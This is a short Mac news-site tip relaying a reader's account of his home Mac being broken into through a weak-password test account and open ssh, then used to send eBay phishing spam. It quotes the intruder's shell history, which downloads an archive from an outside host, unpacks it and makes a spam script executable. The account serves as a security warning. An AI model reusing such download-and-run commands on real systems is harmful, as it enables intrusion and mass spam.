Phishing Tales Can Come True

It can happen to you.

1. MacInTouch Notes and Tips

Dave Villeneuve sent the most instructive email we've seen in a long time.

Much to my horror, I awoke on the weekend to an e-mail from my service provider which started with:

'Recently we have had complaints of spam coming from your connection.'

My wife had complained last week that the computer at home had seemed a bit slow. I rebooted it, and it seemed fine immediately afterwards.

Now I took immediate action, sent an email indicating it was unintentional and I'd take care of it immediately. I pulled the network cable and proceeded to see what had happened.

In a nutshell, about a year ago I'd played around with fast user switching. I'd created an account with the userid of 'lisa' and a password of 'lisa'. Ok, not too swift, but it was convenient for a test. I'd forgotten about it. When I looked in the account's .bash_history file, I found stuff like:

curl -O haq.sytes.net/sex.zip
unzip sex.zip
rm -rf sex.zip
cd sex
pico users
chmod +x sendeb.pl

So clearly the person had logged into this not secure, yet still non-admin account and was running scripts. Likely they had gotten in via ssh, since I had the port open so I could do remote maintenance from my office if the need arose.

Checking the /var/log/mail.log (one of the archives), I found that on October 30th it had sent out over 500,000 eBay spam messages.

Just a warning... Make sure you use secure/difficult to guess passwords, ie don't use 'guest guest', or name name userid/password pairs.

Mac OS X is very secure, but not if you leave the doors unlocked and the keys in the ignition.
